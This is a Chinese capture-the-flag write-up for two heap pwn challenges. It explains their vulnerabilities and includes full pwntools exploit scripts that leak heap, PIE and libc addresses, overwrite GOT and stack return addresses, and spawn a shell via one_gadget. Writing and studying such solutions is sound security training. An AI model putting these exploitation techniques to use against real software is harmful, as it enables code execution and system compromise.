ez_heap

保护全开

程序逻辑:

  1. 读入0x30的字符串,进行字符串校验:以冒号为标志split,分成四份。最后输入字符串形如:
xor = 0x111111111111111
validate = b'admin:'+p64(xor)+b':Junior:111111'

[图片]

  1. 创建0x180的chunk存放note 结构体每个note大小为0x30,note结构:
    [图片]

  2. add,edit,delete,show操作

漏洞点:

  1. editName中strlen可以用\x00绕过造成溢出

  2. 后门:remove操作中有一个一眼就很可疑的地方:lucky number,
    在这里插入图片描述
    如果这里的if判断不通过,直接return,看反编译的伪代码不容易看出来,看汇编代码+动态调试可以发现
    if判断的参数初始值为1,如果执行过一次editName操作以后,这个参数会自减一次,此时remove函数结束时会执行 ret lucyNumber操作
    [图片]

  3. 这里的xor操作,其中的一个操作数是可控的,dest
    [图片]

[图片]

难点

editName操作和show操作只能执行一次
利用xor操作构造任意地址读写条件泄露libc地址

漏洞利用

第一阶段:
泄露heap基址和程序基址(PIE)
由于存在xor后的数据chunk的地址,结合动态调试,heap地址的后三字节是固定的,加上一字节的\x00溢出,
第一个note content chunk的起始地址为000+0x290(tcache bin管理结构)+0x190(note 结构体 chunk)=0x420
如果控制xor的操作数后两位为20,且第二个note content chunk与第一个同处于0x400-0x4ff空间上,当使用editName方法溢出第二个结构体chunk的name,此时这两个结构体chunk的note content chunk就指向了同一个,此时就构造了一个UAF,可以泄露heap地址和程序地址(程序地址用BSS的chunkList的地址)
此时edit和show都用过一次不能再用了,很自然的就想到再执行一次main函数,将luckynumber设置为main addr
第二阶段:
上面只是思考过程,此时才发现:
在回顾一下heap的构造,结构体chunk有一部分也处0x400-0x4ff,再溢出一次name则xor结果末两位是00,此时xor第一个操作数末两位是什么(假如设置为0xmn),那么这个溢出的结构体的conten就会指向0x4mn,第一阶段的泄露操作也可以通过最后一个结构体chunk泄露

这时就可以show和修改最后一个struct chunk的data content chunk的地址(要写入xor后的结果),将其指向got表结合show操作就可以泄露libc、heap、程序地址
最后将LUCKYNUMBER设置为onegadget即可

利用脚本

def exp():global libcglobal binaryglobal elfelf = ELF(binary, checksec=False)libc = ELF("./libc.so.6", checksec=False)  xor = 0x111111111111111validate = b'admin:'+p64(xor)+b':Junior:111111'sla(b'Do you want to play a game with me?\n',validate)key_default = b'1'*8add(key_default,b'1',b'8',b'a'*0x10)add(key_default,b'1',b'8',b'b'*0x10)add(key_default,b'1',b'8',b'c'*0x10)add(key_default,b'1',b'8',b'd'*0x10)add(key_default,b'1',b'8',b'e'*0x10)add(key_default,b'1',b'8',b'f'*0x10)add(key_default,b'1',b'8',b'g'*0x10)remove(key_default,0,str(1))add(key_default,b'1',b'8',b'h'*0x10)edit_name(key_default,7,b'\x00'+b'a'*(0xf))show(key_default,7)ru(b'content: ')heap_base = ((uu64(r(7))<<8)^xor)>>12<<12leak('heap_base',heap_base)proc_base = uu64(ru('\n')) - 0x4080 - 0x7*8leak('proc_base',proc_base)main_sym = 0x1CC7ret_addr_in_remove = proc_base+main_symremove(key_default,1,str(ret_addr_in_remove))sla(b'Do you want to play a game with me?\n',validate)add(key_default,b'1',b'48',b'a'*0x10)one_gadget_list = [0x583ec,0x583f3,0xef4ce,0xef52b]one_gadget = one_gadget_list[3]edit_name(key_default,0,b'\x00'+b'a'*(0xf)+p64((proc_base+elf.got['free'])^xor))show(key_default,0)ru(b'content: ')free_addr = uu64(ru('\n'))libc.address = free_addr - libc.sym['free']remove(key_default,1,str(libc.address+one_gadget))return

近队容器的礼仪

叽里咕噜的说什么呢,看不懂
[图片]

搭建环境

附件给出了pwn文件和libc文件夹,将libc.so.6和ld文件从libc文件夹中剪切出来,注意是剪切,确保libc文件夹中不再存在这两个文件,
直接运行使用:

patchelf --set-interpreter  ./ld-linux-x86-64.so.2 pwn
patchelf --replace-needed libc.so.6  ./libc.so.6 pwn
LD_LIBRARY_PATH=./libc pwn

python中pwnlib调用:

# 也需要先像上面的shell命令一样先patchelf
binary = './pwn'
p = process(binary,env={'LD_PRELOAD':'','LD_LIBRARY_PATH':'./libc/'})
# 二选一即可
gdbscript = ''
p = gdb.debug(binary, gdbscript,env={'LD_LIBRARY_PATH':'./libc/'})

程序逻辑

b'1. Exit\n'
b'2. Add deque to vector\n'
b'3. Create Animal in deque\n'
b'4. Remove deque from vector\n'
b'5. Remove Animal from deque\n'
b'6. Edit Animal in deque\n'
b'7. Print Animal in deque\n'
b'12. Create Animal in vector\n'
b'13. Remove Animal from vector\n'
b'14. Edit Animal in vector\n'
b'15. Print Animal in vector\n'
b'Enter your choice: '

IDA的结果看起来太复杂了,先直接进行几次操作看看
[图片]

先尝试下有没有UAF
结果一试还真有

漏洞点

  1. 刚刚提到的UAF,可以通过unsorted bin fd泄露libc和tcache bin fd泄露heap基址
  2. 堆溢出
    [图片]
    很明显看到有个堆溢出

漏洞利用

先利用deque上的操作泄露地址
后用vector上的操作任意地址写(当时熬夜写的题,我也没去分析它到底能不能用deque的方法来,就是觉得给了这么多方法都用试试)
vecor申请的chunk结构是:一个0x20大小的结构体和对应size大小的animal,结构体中写着animal chunk的地址,因为能栈溢出,所以直接可以任意地址写
这里采取的操作时打enviorn打栈,从main的ret指令开始打;
算出environ到执行到main ret时栈地址的偏移量,然后构造栈满足ongadget的条件即可,也可以构造rop链
利用脚本
最后执行exit操作就可以执行到main的ret
注意执行execve的时候保证结尾是0x0而不是8吧,对齐一下

def exp():global libcglobal binaryglobal elfelf = ELF(binary, checksec=False)libc = ELF("./libc.so.6", checksec=False)add_deque()create_animal_deque(0,0x80)show_animal_deque(0,0)ru('): ')libc.address = uu64(ru(b'\n'))-0x203b20leak('libc_base',libc.address)# 防止deque为空而不能show UAFcreate_animal_deque(0,0x80)malloc_hook = libc.sym['__malloc_hook']leak('__malloc_hook',malloc_hook)one_gadget_list = [0x583ec,0x583f3,0xef4ce,0xef52b]'''    0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])constraints:address rbp-0x50 is writablerax == NULL || {"/bin/sh", rax, NULL} is a valid argv[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp'''one_gadget =libc.address + one_gadget_list[3]system_addr = libc.sym['system']# pause()environ =  libc.symbols['environ']create_animal_vector(0x90)    create_animal_vector(0x90)edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ))show_animal_vector(1)ru(b'): ')environ_addr = uu64(ru(b'\n'))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0x30))show_animal_vector(1)ru(b'): ')start_addr = uu64(ru(b'\n')) - 37proc_base = start_addr - elf.sym['_start']ret_of_main = environ_addr - 0x130ret_addr = proc_base+0x101aedit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(ret_of_main))edit_animal_vector(1,0x8,p64(ret_addr))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(ret_of_main+8))edit_animal_vector(1,0x8,p64(one_gadget))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0x110))edit_animal_vector(1,0x8,p64(0))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0xe8))edit_animal_vector(1,0x8,p64(0))# exit 推出时会执行ret of mainsla(b'Enter your choice:',b'1')return

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/97718.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/97718.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/97718.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

纵深防御实践:东方隐侠CI/CD安全体系构建全解析

前言:CI/CD安全的必要性 企业上云是近些年的潮流,但是风险如影随形。之前有家电商平台出了个大岔子——半夜自动发新版本的时候,因为流程里没做安全检查,直接导致系统故障,一天就损失了300多万。这还不算完,某银行测试人员通过未授权的自动发布流程把代码推到了生产环境…

2025年渗透测试面试题总结-71(题目+回答)

安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 2. 渗透测试流程 & 内网渗透经验 3. SQL注入报错利用 4. XSS利用&#xff08;反射型/DOM型&#xff0…

基于Echarts+HTML5可视化数据大屏展示-茶园大数据平台指挥舱

效果展示&#xff1a;代码结构&#xff1a;主要代码实现 index.html布局 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0&quo…

华为网路设备学习-33(BGP协议 八)BGP路由 选路规则

一、目标与背景BGP路由特性&#xff1a;支持丰富的路径属性选路规则多样注&#xff1a;在BGP路由表中最优选&#xff0c;不一定是路由表中的最优选。有可能存在静态路由或者ospf路由等&#xff0c;其优先级高于BGP路由。二、选路规则概述从1到12&#xff0c;依次对比优先级。一…

深度学习(七):梯度下降

梯度下降&#xff08;Gradient Descent&#xff09;是深度学习中最核心的优化方法之一&#xff0c;它通过迭代更新模型参数&#xff0c;使得损失函数达到最小值&#xff0c;从而训练出性能良好的神经网络模型。 基础原理 损失函数 在深度学习中&#xff0c;损失函数 L(θ) 是衡…

常见岩性分类与油气勘探意义笔记

常见岩性分类与油气勘探意义笔记 相关科普视频可查看【说说岩石的分类-哔哩哔哩】 一、岩石基本分类体系 根据成因&#xff0c;自然界岩石可分为三大类&#xff0c;其中沉积岩与油气勘探关系最为密切&#xff1a; 1. 火成岩&#xff08;岩浆岩&#xff09; 由岩浆冷却凝固…

【Kubernetes】Tomcat 启用 Prometheus 监控指标

之前出过一篇文章关于 “自定义监控指标实现业务 HPA 伸缩” &#xff0c;其中使用了 webapp 应用的指标数据&#xff08;JVM&#xff09;&#xff0c;接下来&#xff0c;这篇文章将介绍如何在通过 Tomcat 部署的 webapp 中启用 Metrics 指标&#xff0c;一起来看看吧&#xf…

JVM 三色标记算法详解!

目录1. 什么是三色标记算法&#xff1f;三种颜色及其含义&#xff1a;2. 基础三色标记算法流程 (非并发)3. 并发场景下的挑战&#xff1a;一致性问题3.1. 漏标 (Missing Live Object) - 最严重的问题3.2. 错标 (Floating Garbage) - 不那么严重的问题4. 屏障机制 (Barrier) - 解…

优化神经网络模型以提升R²值至0.99的全面方案

优化神经网络模型以提升R值至0.99的全面方案 1. 问题分析与背景 在深度学习项目中&#xff0c;提升模型的R&#xff08;决定系数&#xff09;值至0.99是一个具有挑战性的目标&#xff0c;特别是在处理复杂的时间序列数据时。我们的现有模型结合了LSTM层、自注意力机制和MLP处理…

pgNow:一款免费的PostgreSQL监控与性能诊断工具

pgNow 是一款免费的桌面工具&#xff0c;可以为 PostgreSQL 数据库提供快速集中的监控与性能诊断。 pgNow 不依赖代理&#xff0c;无需任何配置&#xff0c;可以帮助开发者或数据库管理员&#xff08;DBA&#xff09;直观地查看数据库的统计信息和关键性能指标。 功能特性 跨平…

深入理解栈与队列——从原理理解到实战应用

目录 一、引言 二、栈&#xff08;Stack&#xff09; 2.1 栈的基本概念 2.2 栈的使用 2.3 栈的模拟实现 2.4 栈的实战应用 2.4.1 括号匹配 2.4.2 逆波兰表达式求值 2.4.3 出栈入栈次序匹配 2.4.4 最小栈 三、队列&#xff08;Queue&#xff09; 3.1 队列的基本概念 …

用html5写王者荣耀之王者坟墓的游戏2deepseek版

我将为您创建一个王者荣耀英雄坟墓游戏的提词器HTML页面。这个工具将帮助游戏主播或玩家在游戏中快速查看英雄技能、连招顺序等信息。设计思路 创建英雄选择界面实现提词器显示区域&#xff0c;可自定义文本内容添加字体大小、滚动速度控制设计符合王者荣耀风格的UI下面是…

轻阅读:一键解决浏览器无法预览Office文档的实用方案

在日常办公中&#xff0c;通过浏览器直接打开Word、Excel或PPT等文档时&#xff0c;常遇到“需下载后用本地软件打开”的困扰&#xff0c;不仅流程繁琐&#xff0c;还面临格式兼容、设备存储不足等问题。轻阅读&#xff08;QingYueDu&#xff09;作为一款轻量级文件在线预览工具…

鸿蒙开发实战项目(六十七):常见组件和容器低代码开发示例(ArkTS)

本文详细代码需订阅下面专栏获取(订阅后私信邮箱+项目名): https://blog.csdn.net/m0_68036862/category_12333038.html 目录 介绍 环境搭建 代码结构解读 创建低代码工程 低代码设计界面布局 实现数据动态渲染 手动创建低代码页面 介绍 本篇Codelab是基于ArkTS语言的…

MySQL学习笔记04-DML-数据的增删改

新增数据--insert样例代码-- DML : 数据操作语言 -- DML : 插入数据 - insert -- 1. 为 emp 表的 username, password, name, gender, phone 字段插入值 insert into emp (username,password,name,gender,phone) values(fei,123456,张飞,1,13888888888);-- 2. 为 emp 表的 所有…

拼多多返利app的服务网格(Service Mesh)实践:Istio在导购系统中的应用

拼多多返利app的服务网格&#xff08;Service Mesh&#xff09;实践&#xff1a;Istio在导购系统中的应用 大家好&#xff0c;我是阿可&#xff0c;微赚淘客系统及省赚客APP创始人&#xff0c;是个冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 在拼多多返利app的…

【RabbitMQ】高级特性:持久性·发送方确认·重试机制·TTL·死信队列·延迟队列·事务·消息分发

RabbitMQ的高级特性还包括我的上篇博客 【RabbitMQ】-----详解RabbitMQ高级特性之消息确认机制-CSDN博客 目录 RabbitMQ高级特性之持久性 持久性 交换机持久化 队列持久化消息持久化 RabbitMQ高级特性之发送方确认机制 发送方确认 添加配置 常量类 声明队列和交换机…

鸿蒙Next ArkWeb网页多媒体开发实战:从基础到高级应用

解锁鸿蒙ArkWeb的强大多媒体能力&#xff0c;让网页视频音频体验媲美原生应用在日常应用开发中&#xff0c;我们经常需要在应用中嵌入网页并展示其中的多媒体内容。鸿蒙HarmonyOS Next的ArkWeb组件提供了强大的网页渲染能力&#xff0c;尤其对网页中的多媒体元素有出色的支持。…

06. Linux进程概念 1

Linux进程概念 冯诺依曼体系 冯诺依曼体系结构&#xff08;Von Neumann Architecture&#xff09;是现代计算机设计的奠基石&#xff0c;由数学家约翰冯诺依曼于1945年提出。这一架构彻底改变了早期计算机“硬件即程序”的设计方式&#xff0c;使得计算机可以灵活地运行不同程序…

HTTP标头全解析:保护你的Web应用!

在网络攻击频发的时代&#xff0c;你的Web应用是否像一座没有城墙的城堡&#xff0c;任由XSS、点击劫持和中间人攻击入侵&#xff1f;HTTP标头&#xff0c;这些看似不起眼的响应头&#xff0c;其实是Web安全的隐形守护者。想象一个电商网站&#xff0c;用户数据被窃取&#xff…